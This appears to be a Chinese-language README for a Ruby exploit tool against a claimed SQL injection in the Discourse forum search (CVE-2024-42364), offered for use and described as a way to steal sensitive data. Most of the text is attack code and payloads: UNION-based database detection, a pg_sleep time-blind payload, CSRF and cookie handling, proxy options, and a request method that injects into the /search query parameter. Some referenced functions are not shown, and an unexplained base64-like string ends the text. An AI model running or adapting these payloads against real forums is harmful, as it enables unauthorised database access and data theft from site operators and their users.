CVE-2024-42364: Discourse SQL注入漏洞利用工具
本项目提供了一个针对 Discourse 论坛系统搜索功能中严重SQL注入漏洞(CVE-2024-42364)的Ruby利用工具。该漏洞允许攻击者通过精心构造的搜索参数执行任意SQL查询,从而窃取敏感数据。
功能特性
- 数据库类型自动检测:自动识别后端数据库类型(PostgreSQL等)
- 基础SQL注入测试:快速验证是否存在注入点
- 联合查询注入:支持Union-based SQL注入,可提取多列数据
- 布尔盲注:通过页面响应差异逐字节提取数据
- 时间盲注:通过数据库延时响应判断注入条件
- CSRF令牌处理:自动获取并携带会话Cookies和令牌
- 代理支持:支持通过HTTP代理进行测试流量转发
安装指南
系统要求
- Ruby 2.5+
- 网络访问目标Discourse实例
依赖安装
本工具需要以下Ruby库:
gem install net-http uri json openssl base64 nokogiri digest
或直接使用Bundler(推荐):
# Gemfile
source 'https://rubygems.org'
gem 'nokogiri'
从源码运行
git clone https://github.com/your-repo/CVE-2024-42364.git
cd CVE-2024-42364
ruby exploit.rb
使用说明
基础用法
# 初始化利用对象
target = "https://target-discourse.example.com"
exploit = CVE_2024_42364.new(target)
# 执行完整漏洞利用流程
exploit.run_exploit
带代理的用法
options = {
timeout: 30,
proxy: 'http://127.0.0.1:8080',
user_agent: 'Custom User Agent/1.0'
}
exploit = CVE_2024_42364.new(target, options)
exploit.run_exploit
典型测试流程
工具执行以下步骤:
- 获取CSRF令牌:访问目标获取必要的CSRF令牌和会话Cookie
- 检测数据库类型:通过注入判断后端数据库版本和类型
- 基础注入测试:验证是否存在SQL注入漏洞
- 联合查询注入:尝试提取数据库表结构和数据
- 布尔盲注:当页面无显式输出时使用
- 时间盲注:绕过更严格的WAF或过滤
输出结果示例
{
"cve": "CVE-2024-42364",
"vulnerable": true,
"severity": "Critical",
"cvss": 9.3,
"details": ["Union-based injection confirmed", "Database: PostgreSQL 13.2"],
"payloads": ["' OR '1'='1", "1' UNION SELECT version()--"],
"extracted_data": ["PostgreSQL 13.2 on x86_64-pc-linux-gnu"]
}
核心代码
漏洞利用类初始化
class CVE_2024_42364
def initialize(target_url, options = {})
@target_url = target_url.chomp('/')
@timeout = options[:timeout] || 20
@proxy = options[:proxy]
@user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
@csrf_token = nil
@session_cookies = {}
@database_type = nil
@results = {
cve: 'CVE-2024-42364',
vulnerable: false,
severity: 'Critical',
cvss: 9.3,
details: [],
payloads: [],
sqli_evidence: [],
extracted_data: [],
database_info: {}
}
end
end
数据库类型检测
def detect_database_type
# 通过版本函数检测PostgreSQL
payloads = {
postgresql: "1' UNION SELECT version()--",
mysql: "1' UNION SELECT @@version--",
mssql: "1' UNION SELECT @@version--"
}
payloads.each do |db_type, payload|
response = send_sqli_payload(payload)
if response.body.include?('PostgreSQL')
@database_type = :postgresql
@results[:database_info][:type] = 'PostgreSQL'
puts "[+] Detected database: PostgreSQL"
break
end
end
end
时间盲注检测
def test_time_based_sqli
# PostgreSQL时间盲注payload
payload = "1' OR CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--"
start_time = Time.now
response = send_sqli_payload(payload)
elapsed = Time.now - start_time
if elapsed >= 5
@results[:vulnerable] = true
@results[:sqli_evidence] << "Time-based injection confirmed (delay: #{elapsed}s)"
puts "[+] Time-based SQL injection confirmed!"
else
puts "[-] Time-based injection not detected"
end
end
请求发送核心方法
def send_sqli_payload(payload)
uri = URI.parse("#{@target_url}/search")
params = {
q: payload,
page: 1
}
uri.query = URI.encode_www_form(params)
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = (uri.scheme == 'https')
http.open_timeout = @timeout
http.read_timeout = @timeout
request = Net::HTTP::Get.new(uri)
request['User-Agent'] = @user_agent
request['Cookie'] = @session_cookies.map { |k,v| "#{k}=#{v}" }.join('; ')
request['X-CSRF-Token'] = @csrf_token if @csrf_token
response = http.request(request)
response
end
6HFtX5dABrKlqXeO5PUv/yZWZ+8fEawPrw2MbkxVPI4=